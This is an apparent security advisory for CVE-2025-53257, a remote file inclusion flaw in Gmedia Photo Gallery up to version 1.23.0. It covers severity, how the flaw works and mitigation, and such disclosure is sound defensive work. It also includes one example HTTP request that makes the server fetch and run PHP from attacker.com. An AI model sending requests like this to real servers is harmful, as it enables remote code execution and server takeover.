Overview
A critical vulnerability has been discovered in the Gmedia Photo Gallery, a popular photo gallery software developed by Serhii Pasyuk. This vulnerability, officially labeled as CVE-2025-53257, resides in the improper control of filename for include/require statement in the software’s PHP program. If exploited, this vulnerability could lead to system compromise or data leakage, posing a significant risk to any organization or individual utilizing the Gmedia Photo Gallery software.
Vulnerability Summary
CVE ID: CVE-2025-53257
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Gmedia Photo Gallery | up to version 1.23.0
How the Exploit Works
The vulnerability stems from an improper control of filename for include/require statement in the PHP program of the Gmedia Photo Gallery software. An attacker can exploit this by remotely including a file from a server of their choice, thereby manipulating the path of the file. This can allow the attacker to execute arbitrary PHP code on the server running the Gmedia Photo Gallery application.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited, by making a HTTP request with a malicious payload:
GET /gmedia-gallery.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com
In the above example, the attacker is instructing the server to fetch and execute a PHP file from an external source (`attacker.com`).
Mitigation Guidance
Users are advised to update their Gmedia Photo Gallery software to the latest version, as patches have been applied to mitigate this vulnerability. In the absence of an immediate update, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can also serve as a temporary mitigation strategy.

